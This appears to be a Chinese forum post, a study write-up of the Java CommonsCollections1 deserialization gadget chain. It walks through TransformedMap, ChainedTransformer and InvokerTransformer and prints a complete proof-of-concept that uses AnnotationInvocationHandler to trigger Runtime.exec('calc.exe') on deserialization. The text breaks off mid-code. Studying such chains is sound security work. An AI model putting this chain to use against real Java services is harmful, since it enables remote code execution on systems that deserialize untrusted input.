03CommonsCollections1

打印 上一主题 下一主题

主题 902|帖子 902|积分 2706

CC链的介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据布局类型而且实现了各种集合工具类。
作为Apache开源项⽬的紧张组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是由于在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严厉性。
Apache Commons Collections中有⼀个特殊的接口,此中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用恣意函数,叫做InvokerTransformer。


  • 简单来说就是利用org.apache.commons.collections中的各种类构成的序列化对象,实现序列化漏洞的利用.由于该库中的各种类极其丰富,有不止一种链条来引发反序列化漏洞.
P牛的CommonCollections1分析

代码分析

这里直接贴了代码,分析过程在注释里
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.util.HashMap;
  7. import java.util.Map;
  8. public class CommonCollections1 {
  9.     public static void main(String[] args) throws Exception {
  10.         Transformer[] transformers = new Transformer[]{
  11.                 new ConstantTransformer(Runtime.getRuntime()),
  12.                 new InvokerTransformer("exec", new Class[]{String.class},
  13.                         new Object[]
  14.                                 {"calc.exe"}),
  15.         };
  16.         Transformer transformerChain = new
  17.                 ChainedTransformer(transformers);
  18.         Map innerMap = new HashMap();
  19.         Map outerMap = TransformedMap.decorate(innerMap, null,
  20.                 transformerChain);
  21.         outerMap.put("test", "xxxx");
  22.     }
  23. }
复制代码
  1. //  Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  2. // 对innerMap进行修饰,当返回对象outerMap put(null,value)时,调用了transformerChain.transform(value)
  3. // 实际上可以看到put内`key = transformKey(key);value = transformValue(value);`实际上调用的类和方法是相同的
  4. // 所以,TransformedMap.decorate(innerMap, transformerChain, null);同样可以触发漏洞
  5. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  6.     return new TransformedMap(map, keyTransformer, valueTransformer);
  7. }
  8. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  9.     super(map);
  10.     this.keyTransformer = keyTransformer;
  11.     this.valueTransformer = valueTransformer;
  12. }
  13. public Object put(Object key, Object value) {
  14.     key = transformKey(key);
  15.     value = transformValue(value);  
  16.     return getMap().put(key, value);
  17. }
  18. protected Object transformKey(Object object) {
  19.     if (keyTransformer == null) {
  20.         return object;  
  21.     }
  22.     return keyTransformer.transform(object);
  23. }
  24. protected Object transformValue(Object object) {
  25.     if (valueTransformer == null) {
  26.         return object;
  27.     }
  28.     return valueTransformer.transform(object);
  29. }
复制代码
  1. // 来到了transformerChain.transform(value)
  2. // Transformer transformerChain = new ChainedTransformer(transformers);
  3. // transformerChain.transform(value)遍历调用了数组transformers中的元素的方法transform
  4. public class ChainedTransformer implements Transformer, Serializable {
  5.     // ......
  6.     public ChainedTransformer(Transformer[] transformers) {
  7.         super();
  8.         iTransformers = transformers;
  9.     }
  10.     // Transformer是一个接口,只有一个待实现的方法transform
  11.     public Object transform(Object object) {
  12.             for (int i = 0; i < iTransformers.length; i++) {
  13.                 object = iTransformers[i].transform(object);
  14.             }
  15.             return object;
  16.         }
  17.     // ......
  18. }
复制代码
  1. // 再来到数组transformers
  2. /* Transformer[] transformers = new Transformer[]{
  3.                 new ConstantTransformer(Runtime.getRuntime()),
  4.                 new InvokerTransformer("exec", new Class[]{String.class},
  5.                         new Object[]
  6.                                 {"calc.exe"}),
  7.         };*/
  8. // new ConstantTransformer(Runtime.getRuntime())
  9. public class ConstantTransformer implements Transformer, Serializable {
  10.     // ...
  11.      public ConstantTransformer(Object constantToReturn) {
  12.         super();
  13.         iConstant = constantToReturn;
  14.     }
  15.     public Object transform(Object input) {
  16.         return iConstant;
  17.     }
  18.     // ...
  19. }
  20. // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  21. public class InvokerTransformer implements Transformer, Serializable {
  22.     // ...
  23.     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  24.         super();
  25.         iMethodName = methodName;
  26.         iParamTypes = paramTypes;
  27.         iArgs = args;
  28.     }
  29.     public Object transform(Object input) {
  30.         if (input == null) {
  31.             return null;
  32.         }
  33.         try {
  34.             Class cls = input.getClass();
  35.             Method method = cls.getMethod(iMethodName, iParamTypes);
  36.             return method.invoke(input, iArgs);
  37.                
  38.         } catch (NoSuchMethodException ex) {
  39.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
  40.         } catch (IllegalAccessException ex) {
  41.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  42.         } catch (InvocationTargetException ex) {
  43.             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  44.         }
  45.     }
  46.     // ...
  47. }
复制代码
  1. // 所以key="test";transformerChain.transform(value)实际上执行了什么
  2. // transformers[0].transform("test")
  3. object = (Object) Runtime.getRuntime();
  4. // transformers[1].transform(object)
  5. Class cls = object.getClass();
  6. Method method = cls.getMethod("exec", new Class[]{String.class});
  7. method.invoke(object, new Object[]{"calc.exe"});
复制代码
对于TransformedMap的明白

在P牛的分析文章里,看到他对于Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);的明白是返回了一个Map的装饰器,在查询相关资料之后,感觉明白了这个装饰器的概念,有助于我们明白上面的反序列化利用链。
TransformedMap 是 Apache Commons Collections 库中的一个类,属于 org.apache.commons.collections4.map 包。它用于创建一个装饰器(decorator),在将键或值存储到底层映射之前和从底层映射读取之后,对键或值进行转换。
TransformedMap 类的主要目标是在不修改底层数据布局的情况下提供一个在插入和访问数据时进行转换的机制。这在某些情况下非常有效,例如你需要确保全部存储的值都经过某种处置惩罚或验证。
  1. import org.apache.commons.collections4.Transformer;
  2. import org.apache.commons.collections4.map.TransformedMap;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class TransformedMapExample {
  6.     public static void main(String[] args) {
  7.         // 创建一个普通的 HashMap
  8.         Map<String, String> originalMap = new HashMap<>();
  9.         // 创建键和值的转换器,Transformer是只有一个抽象方法的接口,可以采取lambda表达式实现
  10.         // key -> "key-" + key等价于
  11.         /*
  12.         Transformer<String, String> keyTransformer = new Transformer<String, String>() {
  13.             @Override
  14.             public String transform(String key) {
  15.                 return "key-" + key;
  16.             }
  17.         };
  18.         Transformer<String, String> valueTransformer = new Transformer<String, String>() {
  19.             @Override
  20.             public String transform(String value) {
  21.                 return "value-" + value;
  22.             }
  23.         };
  24.         */
  25.         Transformer<String, String> keyTransformer = key -> "key-" + key;
  26.         Transformer<String, String> valueTransformer = value -> "value-" + value;
  27.         // 使用 TransformedMap 装饰原始的 Map
  28.         // 执行了Transformer实现类的transform方法
  29.         Map<String, String> transformedMap = TransformedMap.transformingMap(
  30.                 originalMap, keyTransformer, valueTransformer);
  31.         // 插入数据
  32.         transformedMap.put("1", "one");
  33.         transformedMap.put("2", "two");
  34.         // 打印 transformedMap
  35.         System.out.println("Transformed Map: " + transformedMap);
  36.         // 打印 originalMap
  37.         System.out.println("Original Map: " + originalMap);
  38.         // 访问数据
  39.         System.out.println("Value for key '1': " + transformedMap.get("1"));
  40.     }
  41. }
复制代码
所以现在明白Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);,innerMap是我们要装饰的原始innerMap,而transformerChain是Transformer实现类,我们在进行outerMap.put("test", "xxxx");时调用它的transform方法。
不是真正POC的缘故原由

先前例子中,我们手工执行outerMap.put("test", "xxxx")触发了反序列化漏洞,但是在正常的反序列化漏洞利用场景中,序列化对象只是一个类,即:
  1. Transformer[] transformers = new Transformer[]{
  2.         new ConstantTransformer(Runtime.getRuntime()),
  3.         new InvokerTransformer("exec", new Class[]{String.class},
  4.                 new Object[]
  5.                         {"calc.exe"}),
  6. };
  7. Transformer transformerChain = new
  8.         ChainedTransformer(transformers);
  9. Map innerMap = new HashMap();
  10. Map outerMap = TransformedMap.decorate(innerMap, null,
  11.         transformerChain);
  12. // 序列化对象
  13. try (FileOutputStream fos = new FileOutputStream("outerMap.ser");
  14.              ObjectOutputStream oos = new ObjectOutputStream(fos)) {
  15.     oos.writeObject(outerMap);
  16.     System.out.println("Person 对象已经被序列化到 outerMap.ser 文件");
  17. } catch (IOException e) {
  18.     e.printStackTrace();
  19. }
复制代码
此时,我们虽然得到了outerMap的序列化对象,但是当其被反序列化时,如果readObject方法中没有进行outerMap.put或者它调用transformerChain.transform(value)的操作,其也不可能触发反序列化漏洞
CommonCollections1


  • CommonCollections1的依靠为commons-collections:3.1
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>commons-collections</groupId>
  4.             <artifactId>commons-collections</artifactId>
  5.             <version>3.1</version>
  6.         </dependency>
  7.     </dependencies>
复制代码

  • 对于java版本的要求是8u71以前,下文版本为8u66
对于利用链的大致梳理

先把终极的poc代码展示一下,后面分析如何一步步改进得到该poc
  1. public class CommonCollections1 {
  2.     public static void main(String[] args) throws Exception {
  3.         Transformer[] transformers = new Transformer[] {
  4.                 new ConstantTransformer(Runtime.class),
  5.                 new InvokerTransformer("getMethod", new Class[] { String.class,
  6.                         Class[].class }, new
  7.                         Object[] { "getRuntime",
  8.                         new Class[0] }),
  9.                 new InvokerTransformer("invoke", new Class[] { Object.class,
  10.                         Object[].class }, new
  11.                         Object[] { null, new Object[0] }),
  12.                 new InvokerTransformer("exec", new Class[] { String.class },
  13.                         new String[] {
  14.                                 "calc.exe" }),
  15.         };
  16.         Transformer transformerChain = new
  17.                 ChainedTransformer(transformers);
  18.         Map innerMap = new HashMap();
  19.         // new
  20.         innerMap.put("value", "xxxx");
  21.         // new
  22.         Map outerMap = TransformedMap.decorate(innerMap, null,
  23.                 transformerChain);
  24.         // delete
  25.         // outerMap.put("test", "xxxx");
  26.         // delete
  27.         // new
  28.         Class clazz =
  29.                 Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  30.         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
  31.         construct.setAccessible(true);
  32.         Object obj = construct.newInstance(Retention.class, outerMap);
  33.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  34.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  35.         oos.writeObject(obj);
  36.         oos.close();
  37.         System.out.println(barr);
  38.         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  39.         Object o = ois.readObject();
  40.     }
  41. }
复制代码
前文的例子中的序列化对象缺少一个outerMap.put来触发漏洞,自然地,我们继续地去寻找类,在其readObject中可以或许进行outerMap.put操作,这个类就sun.reflect.annotation.AnnotationInvocationHandler,注意这个类是Java的内部实现类,位于sun.reflect.annotation包下,所以它在Java的不同版本下实现可能是不同的,所以现在使用到AnnotationInvocationHandler的这条链只能在java8u71之前触发漏洞。
看一下AnnotationInvocationHandler的readobject方法
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         s.defaultReadObject();
  4.         // Check to make sure that types have not evolved incompatibly
  5.         AnnotationType annotationType = null;
  6.         try {
  7.             annotationType = AnnotationType.getInstance(type);
  8.         } catch(IllegalArgumentException e) {
  9.             // Class is no longer an annotation type; time to punch out
  10.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  11.         }
  12.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  13.         // If there are annotation members without values, that
  14.         // situation is handled by the invoke method.
  15.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  16.             String name = memberValue.getKey();
  17.             Class<?> memberType = memberTypes.get(name);
  18.             if (memberType != null) {  // i.e. member still exists
  19.                 Object value = memberValue.getValue();
  20.                 if (!(memberType.isInstance(value) ||
  21.                       value instanceof ExceptionProxy)) {
  22.                     memberValue.setValue(
  23.                         new AnnotationTypeMismatchExceptionProxy(
  24.                             value.getClass() + "[" + value + "]").setMember(
  25.                                 annotationType.members().get(name)));
  26.                 }
  27.             }
  28.         }
  29.     }
复制代码
这里就直接指出触发关键地点了,即 memberValue.setValue,memberValue是该AnnotationInvocationHandler的属性memberValues的元素,让我们看看这个属性的具体情况
[code]private final Map memberValues;AnnotationInvocationHandler(Class
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

数据人与超自然意识

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表